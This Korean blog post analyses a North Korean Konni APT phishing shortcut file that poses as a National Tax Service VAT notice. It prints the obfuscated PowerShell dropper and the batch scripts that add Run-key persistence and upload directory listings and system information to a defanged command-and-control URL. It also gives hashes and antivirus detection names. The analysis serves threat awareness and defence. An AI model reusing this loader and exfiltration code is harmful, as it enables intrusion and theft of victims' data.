꿈을꾸는 파랑새

오늘도 우리 북한의 해킹 그룹인 Konni(코니) 에서 우리 국세청으로 속여서 만든 악성코드인 부가가치세 수정신고 안내(부가가치세사무처리규정).hwp(2024..6.27).lnk에 대해서 알아보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT 37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 그룹은 북한에 본부를 두는 것으로 추정되며 한국과 미국의 정부 기관 및 조직을 표적으로 삼는 것으로 알려졌으며 북한 해커 그룹은 피싱 메시지나 이메일을 통해 Konni RAT를 배포하며 공격자는 Konni RAT를 사용하여 피해자로부터 정보를 수집하고, 스크린 샷을 캡처하고, 파일을 훔치고,
원격 대화형 셸을 구축합니다. KONNI는 러시아, 동아시아, 유럽, 중동의 정치 집단을 표적으로 한 다양한 북한 공격 혐의와 연관되어 있으며 이번에는 국민의 세금 성실하게 가져가시는 대한민국 내에서 발생한 내국세(지방세 제외)를 징수하는 기관인 국세청으로 속여서 악성코드에 감염을 시키는 방법을 사용하고 있으며 해당 악성코드는 부가가치세 수정신고 안내로 돼 있으며 당연히 악성코드입니다.
옛날에서는 링크 클릭해서 피싱(Phishing) 사이트 로 유도해서 개인정보를 탈취해 가는 방법을 사용하고 있지만, 최근에는 hwp 링크인 것처럼 이메일로 보내어서 악성코드 감염을 통해서 개인정보를 빼가는 방법을 사용합니다.
해쉬값은 다음과 같습니다.
파일명: 부가가치세 수정신고 안내(부가가치세사무처리규정).hwp(2024.6.27).lnk
사이즈:62.8 MB
MD5:6eee6fa92a270b1f32390eec50512eea
SHA-1:e8b471c3d383fd44e53029676df3370f0504555f
SHA-256:183fb85fc915017104cd473f8f3ad515a54603e38fd4463214adcbf84b421183
일단 파일 사이즈가 62.8MB인 것은 아마도 더미 파일을 추가해놓았을 것입니다. 이유는 안티바이러스 탐지 회피 목적 및 보안 업체마다 악성코드 샘플 올리기 파일 크기가 다른 점을 이용해서 샘플 보내는 것 방해 등 난독화등을 하기 위함
뭐~어차피 Powershell(파워셀)을 통해서 실행하기 때문에 이거만 따라가면 됩니다.

ProcessExplorer 본 악성코드 동작
ProcessExplorer 본 악성코드 동작

Powershell(파워셀)코드

/c p^owe^(r)she^l^l -windows(t)yle hidden fu(n)ction hyro(G)AN{pa
ram(($)gR(R)Xdaln); $SEXiGo=G(e)t''-C\"\"h''i(l)d''I\"\"t\"\"(e)\"
\"m -Pa(t)h  $gRR(X)daln -R(e)curse  *(.)lnk ^| wh\"\"er(\)"\"e\"\
"-o\(")\"bje''ct {$_.le(n)gth -eq (0)x(0)3EE569C} ^| Sel''ect''-O\
"\"b(j)\"(\)"e\"\"ct -Ex(p)andProperty F(u)llName; re(t)urn  $SEXi
Go(;)};fun(c)tion DGTZU(k)n{param($Fj(F)fNJyV,$NVU(Y)ZYa,$uJMIA(V)
,$O(P)URoQ,$J(i)OPSEnH); $KhPA(K)sCs=New\"\"-(O)b''jec(\)"\"t Syste
m(.)IO.FileStream($F(j)FfNJyV,[System(.)IO(.)FileMo(d)e]::Ope(n),[Sy
(s)tem.IO.Fi(l)eAccess]::R(e)ad); $KhP(A)KsCs.Seek($(N)VUYZYa,[System
(.)IO.(S)eekOrigin]::B(e)gin); $MlqewZMb=Ne\(")\"w\"\"-O''(b)j\"\"e''c
t (b)yte[] $u(J)MIAV; $KhPAKsCs.R(e)ad($Ml(q)ewZMb,0,$uJMI(A)V); $Kh(P)
AKsCs.Close();f(o)r($P(K)VgpCbI=0;$(P)KVgpCbI -lt $uJMIAV;$PKVg(p)CbI++
){$Ml(q)ewZMb[$PKVgpCbI]=$(M)lqewZMb[$PKV(g)pCbI] -bx(o)r $OP(U)RoQ;}sc
$J(i)OPSEnH  $(M)lqewZMb -Enc(o)ding  Byte;};$J(Q)CcrJ=Get\"\"-Lo(\)"\"c
\"\"at(')'io\"\"n;$q(u)rxYiEA=hyr(o)GAN -gRRX(d)aln  $JQCcrJ;i(f)($qu(r)
xYiEA.length -eq 0)({)$qurx(Y)iEA=hyro(G)AN  -gRRXd(a)ln $env:Temp;} $JQ
CcrJ=S''p(\)"\"l(i)t\"\"-Pa\(")\"t\"\"h  $qu(r)xYiEA;$Tw(e)LdPR = $qurxY
iEA.su(b)string(0,$qu(r)xYiEA.length-4) (+) '';DG(T)ZUkn -FjFf(N)JyV  $q
ur(x)YiEA -NVUYZYa  0(x)00001C90 -uJMI(A)V 0x000(1)1A00 -(O)PURoQ  0(x)6
8 -Ji(O)PSEnH  $(T)weLdPR;^& $TweLdPR;($)LhwhYhz=$env:p(u)blic (+) '\' +
'gRR(X)da(.)cab';DGTZUkn -FjFf(N)JyV  $qurxYiEA -N(V)UYZYa  0(x)00013690
-uJM(I)AV  0x00(0)13CD2 -OPU(R)oQ  0x(0)3 -Ji(O)PSEnH  $LhwhYhz(;)Rem\"\
"ov''e'(')-I''t''em (-)Path  $qu(r)xYiEA -Fo(r)ce;expand $(L)hwhYhz  -F:
*  ($e(n0v:public (+) '\' + 'docu(m)ents');re\"\"m(o)''ve-\"\"i\"(\)"te\
"\"m  -pa(t)h  $Lhwh(Y)hz  -force;$(j)HoteEl=$env:(p)ublic+'\docume(n)ts
\start.vbs';^& $j(H)oteEl;
 iconlocation: (.)hwp
}

Powershell 코드 분석

파일을 검색 및 특정 조건을 만족하는 파일을 찾고 나서 해당 파일을 변조한 다음 최종적으로 특정 파일을 실행하는 과정
1.hyroGAN 함수: 함수는 특정 경로에서. lnk 파일을 검색
function hyroGAN {
    param($gRRXdaln); 
    $SEXiGo = Get-ChildItem -Path $gRRXdaln -Recurse *(.)lnk | Where-(O)bject { $_(.)length -eq 0x03EE569C } | Sel(e)ct-Object -ExpandProperty FullName; 
    retur(n) $SEXiGo;
}
Get-ChildItem -Path $gRRXdaln -Recurse *.lnk:$gRRXdaln 경로에서 재귀를 통해서 (.)lnk 파일을 검색
Where-Object { $_(.)length -eq 0x03EE569C }:파일의 길이가 특정 값(0x03(E)E569C)인 파일을 필터링을 시작
Select-Object -ExpandProperty FullName:필터링된 파일의 전체 경로를 반환하는 것을 동작
2. DGTZUkn 함수
해당 함수를 통해서 파일을 읽고 특정 위치에서 데이터를 XOR 연산으로 변조하고 변조된 데이터를 파일로 저장
function DGTZUkn {
    param($FjFfNJyV, $NV(U)YZYa, $u(J)MIAV, $OPUR(o)Q, $J(i)OPSEnH); 
    $KhPAKsCs = New-Object Systehxxp://m(.)IO.Fil(e)S(t)ream($FjFfNJyV(,) [System(.)IO.FileMode]::Open, [Syste(m).IO.Fi(l)eAccess]::Read); 
    $KhPAKsCs(.)Seek($NVUYZYa, [Syst(e)m.IO.SeekOrigin]::Be(g)in); 
    $Mlqew(Z)Mb = New-Obje(c)t byte[] $u(J)MIAV; 
    $KhPA(K)sCs.Read($MlqewZ(M)b, 0, $uJ(M)IAV); 
    $KhPA(K)sCs.Close();
    for ($PKV(g)pCbI = 0; $PKV(g)pCbI -lt $(u)JMIAV; $PK(V)gpCbI++) {
        $Ml(q)ewZMb[$PKV(g)pCbI] = $Mlq(e)wZMb[$P(K)VgpCbI] -bxor $O(P)URoQ;
    }
    sc $Ji(O)PSEnH $M(l)qewZMb -Encoding Byte;
}
New-Object System.IO.FileStream 기타 등등: 지정된 파일을 읽기 모드로 오픈Seek($NVUYZYa, [System.IO.SeekOrigin]::Begin):파일의 특정 위치로 이동 진행
Read($MlqewZMb, 0, $uJMIA(V)):지정된 크기만큼 데이터를 읽어오기
for ($PKVgpCbI = 0; $PKVg(p0CbI -lt $(u)JMIAV; $PKVgpCbI++) { $MlqewZMb[$PKVgpCbI] = $MlqewZMb[$PKVgpCbI] -b(x)or $OPUR(o)Q; }:읽어온 데이터를 XOR 연산으로 장난치기
sc $JiOPSEnH $MlqewZMb -En(c)oding Byte:변조된 데이터를 파일로 저장
3. 스크립트 본문
$JQCc(r)J = Get-Loc(a)tion:현재 디렉터리를 저장
$qurxYiEA = hyroGA(N) -gRRX(d)aln $JQCcrJ:현재 디렉터리에서 (.)lnk 파일을 찾기
if ($qurxYiEA(.)length -eq 0) { $(q)urxYiEA = hyr(o)GAN -gRRXdaln ($)env:Temp; }:파일을 찾지 못하면 임시 디렉터리에서 다시 검색
$TweLdPR = $qurxY(i)EA.substring(0, $qurxYiEA.length - 4) + '';:파일 확장자를 제거한 새로운 파일 경로를 생성)
DGTZUkn (-)FjFfNJyV $qurxY(i)EA -NVUYZYa 0x0(0)001C90 -uJMIA(V) 0x(0)0011A00 -OP(U)RoQ 0(x)68 -JiOP(S)EnH $TweLdPR;:첫 번째 변조 작업을 수행
& $TweLd(P0R;:변조된 파일을 실행
$(L)hwhYhz = $(e)nv:public + '\' + 'gRRXda.cab;:CAB 파일 경로를 설정
DGTZ(U)kn -FjFfN(J)yV $qurxYiEA -(N)VUYZYa (0)x00013690 -uJMI(A)V 0x000(1)3CD2 -OPU(R)oQ 0x03 -JiOPS(E)nH $(L)hwhYhz;:두 번째 변조 작업을 수행
Remove-Item -Path $qurxYiEA -Force;:원본 .lnk 파일을 폭파
expand $LhwhYhz -F:* ($env(:)public + '\' (+) 'documents'); remove-i(t)em -path: CAB 파일을 압축 해제 및 삭제
$jHoteEl = $env:public (+) '\documents\start(.)vbs'; & $jHoteEl;:압축 해제된 VBS 파일을 실행
결론
최근 부터 새로 추가 부분은 CAB 파일을 생성하고 압축 해제하고 특정 VBS 스크립트를 실행
그러면 start.vbs 시작으로 해당 악성코드는 실행
어차피 스타트 부분은 다 알 것이고 19569508.bat 부터 보면 됩니다.

19569508.bat 코드 내용

악성코드가 생성한 VBS 스크립트
악성코드가 생성한 VBS 스크립트

@echo off

pushd "%~dp0"

if exist "61203333(.0bat" (

	reg add "HKCU\Sof(t)ware\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 
    /t REG_SZ /d "%~dp0start(.)vbs" /f > nul
	
	call 61203333(.)bat > nul
	call 38808439(.)bat > nul

	del /f /q 61203333(.)bat > nul
)

if not exist "61203333(.)bat" (
	if not exist "upok(.0txt"  (
		call 38808439(.)bat > nul
	)
)

if not exist "f(.)txt" (goto 1)
if exist "f(.)txt" (goto EXIT)

:1

call 24175147.bat > nul

timeout -t 57 /nobreak

if not exist "f(.)txt" (goto 1)
if exist "f(.0txt" (goto EXIT)

:EXIT
del /f /q "f(.)txt"

악성코드 분석

1.Windows 배치 스크립트 이며 해당 스크립트는 특정 파일이 존재하는지 확인하고 존재 여부에 따라 다양한 작업을 수행
pushd "%~dp0":해당 스크립트가 있는 디렉토리로 현재 작업 디렉터리를 변경
2. 첫 번째 조건문
if exist 61203333(.)bat:61203333(.)bat 파일이 존재하는지 확인
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 /t REG_SZ /d "%~dp0start(.)vbs" /f > nul:HKCU\Software\Microsoft\Windows\CurrentVersion\Run 레지스트리 키에 sartsvc1 값을 추가하고 나서 start(.)vbs 파일이 악성코드에 감염된 사용자가 컴퓨터, 노트북을 다시 시작 시 실행되도록 해서 악성코드에 감염자는 지속도록 해당 스크립트 때문에 악성코드 제작가 만들어 놓은 사이트로 열심히 업로드 하게 동작을 하는 것을 수행합니다.
call 61203333(.)bat > nul:61203333(.)bat 파일을 실행
call 38808439(.)bat > nul:38808439(.)bat 파일을 실행
del /f /q 61203333(.)bat > nul:61203333(.)bat 파일을 폭파
3. 두 번째 조건문 시작
if not exist "61203333(.)bat":61203333(.)bat 파일이 존재하지 않는지 확인
if not exist "upok.txt":upok(.)txt 파일이 존재하지 않는지 확인
call 38808439(.)bat > nul:38808439(.)bat 파일을 실행
4. 세 번째 조건문
if not exist "f(.)txt":f(.)txt 파일이 존재하지 않으면 goto 1로 이동
if exist f(.)txt:f(.)txt 파일이 존재하면 goto EXIT로 이동
5. 레이블 및 루프
call 24175147(.)bat > nul:24175147(.)bat 파일을 실행
timeout -t 57 /nobreak:57초 동안 대기
if not exist "f(.)txt" (goto 1):f(.)txt 파일이 존재하지 않으면 1 레이블로 이동하여 루프를 반복
if exist "f(.)txt" (goto EXIT):f(.)txt 파일이 존재하면 EXIT 레이블로 이동
결론
해당 배치 스크립트는 특정 배치 파일의 존재 여부에 따라 다른 배치 파일을 실행하고 나서 레지스트리 키를 추가하여 윈도우 가 실행이 될 때마다 등록해서 실행하게 하게 특정 파일이 존재하지 않는 경우 반복적으로 다른 배치 파일을 실행하고 일정 시간대기 타면서 최종적으로 특정 파일이 존재하면 해당 파일을 삭제하고 스크립트를 심영물 처럼 폭파

61203333.bat,38808439.bat 부분

61203333.bat 해당 부분은 파일을 다운로드한 후 unzip.exe을 이용을 해서 압축을 해제하고 압축 해제된 디렉터리에서 배치 파일을 실행하기 위한 행동을 합니다.
38808439.bat 에 포함이 된 스크립트

38808439.bat 에 포함이 된 스크립트
38808439.bat 에 포함이 된 스크립트

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt

systeminfo > %~dp0d4.txt

timeout -t 5 /nobreak
call 94892591.bat "hxxp://stvse(.)com/upload(.)php" "d1.txt"  "%COMPUTERNAME%_down.txt" >nul
call 94892591.bat "hxxp://stvse(.)com/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 94892591.bat "hxxp://stvse(.)com/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 94892591.bat "hxxp://stvse(.0com/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

38808439.bat 분석

해당 VBS를 통해서 사용자의 컴퓨터, 노트북 디렉터리의 파일 목록과 시스템 정보를 수집하고 원격 서버로 업로드 하는 역할을 진행합니다. 해당 스크립트는 사용자 컴퓨터의 중요한 정보를 외부로 유출하는 기능을 사용해서 개인정보를 1. 초기 설정
@echo off: 명령어의 출력을 숨겨라~
pushd "%~dp0":스크립트가 있는 디렉터리로 현재 작업 디렉터리를 변경
2. 디렉터리 목록 저장
dir C:\Users\%username%\downloads\ /s > %~dp0d1(.)txt:사용자의 Downloads 디렉터리 내 모든 파일 및 하위 디렉터리 목록을 %~dp0d1(.)txt 파일에 저장
dir C:\Users\%username%\documents\ /s > %~dp0d2(.)txt:사용자의 Documents 디렉터리 내 모든 파일 및 하위 디렉터리 목록을 %~dp0d2(.)txt 파일에 저장
dir C:\Users\%username%\desktop\ /s > %~dp0d3(.)txt:사용자의 Desktop 디렉터리 내 모든 파일 및 하위 디렉터리 목록을 %~dp0d3(.)txt 파일에 저장
3. 시스템 정보 저장
systeminfo > %~dp0d4.txt:시스템 정보를 %~dp0d4(.)txt 파일에 저장
4. 업로드 준비 및 실행
timeout -t 5 /nobreak:5초 동안 대기
call 94892591.bat "hxxp://stvse(.)com/upload(.)php" "d1(.)txt" "%COMPUTERNAME%_down.txt" >nul:94892591(.)bat 파일을 호출하여 d1(.)txt 파일을 hxxp://stvse(.)com/upload(.)php 주소로 업로드
업로드된 파일 이름은 COMPUTERNAME%_down.txt
call 94892591(.)bat hxxp://stvse(.)com/upload(.)php" "d2(.)txt" "%COMPUTERNAME%_docu(.)txt" >nul:d2.txt 파일을 같은 URL로 업로드 하며 업로드된 파일 이름은 %COMPUTERNAME%_docu.txt입니다.
call 94892591(.)bat hxxp://stvse(.)com/upload(.)php" "d3(.)txt" "%COMPUTERNAME%_desk.txt" >nul:d3(.)txt 파일을 같은 주소로 업로드 하며 업로드된 파일 이름은 %COMPUTERNAME%_desk(.)txt 입니다.
call 94892591(.)bat "hxxp://stvse(.)com/upload(.)php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul:d4.txt 파일을 같은 주소로 업로드하며 올리기 된 파일 이름은 %COMPUTERNAME%_sys.txt입니다.
결론
해당 배치 스크립트는 사용자의 Downloads(내려받기), Documents(문서), Desktop(바탕화면) 디렉터리의 파일 목록과 시스템 정보를 수집하고 해당 d1, d2, d3, d4 텍스트 파일에 저장하고 나서 원격 서버로 업로드하는 작업을 수행
즉 개인정보를 털려고 제작이 된 악성코드입니다.
2024-06-30 16:12:58 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/LNK.PowerShell.S2453
AliCloud:Trojan[downloader]:Win/Powecod.c
ALYac:Trojan.Agent.LNK.Gen
Avast:LNK:Agent-IL [Trj]
AVG:LNK:Agent-IL [Trj]
Avira (no cloud):LNK/Dldr.Agent.VPYE
Cynet:Malicious (score: 99)
ESET-NOD32:LNK/Agent.AEA
Fortinet:LNK/Agent.NWV!tr
Google:Detected
KasperskyHEUR:Trojan.WinLNK.Powecod.c
Kingsoft:Script.Troj.BigLnk.22142
Lionic:Trojan.WinLNK.Powecod.4!c
Rising:Trojan.PSRunner/LNK!1.F965 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Sophos:Mal/PowLnkObf-D
Symantec:CL.Downloader!gen20
VBA32:Trojan.Link.Crafted
WithSecure:Malware.LNK/Dldr.Agent.VPYE
ZoneAlarm by Check Point;HEUR:Trojan.WinLNK.Powecod.c
즉 백신프로그램을 예방하기 위해서 있는 것이지 완벽하게 차단을 못 하는 경우가 있으니 기본적으로 보안 수칙을 지키는 것을 매우 권장합니다.
이렇게 오늘도 대한민국 영토를 불법 점령 중인 반국가단체에서 여러분의 소중한 개인정보 와 가상화폐(암호화폐), 금전적인 부분을 탈취하기 위해서 만들어 놓은 악성코드(Malware)에 대해 간단하게 분석을 해 보았고 우리 Konni APT 선생은 왜 이렇게 몇 년이 지나도 똑같은 수법이고 그리고 꼭 뉴스에 나와야~북한이 해킹하고 있다는 생각을 버리고 언제나 기본적으로 대북관계자, 정치인, 기자 등은 노리고 있고 일반 한국 국민도 노리고 있으니 항상 조심해야 할 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band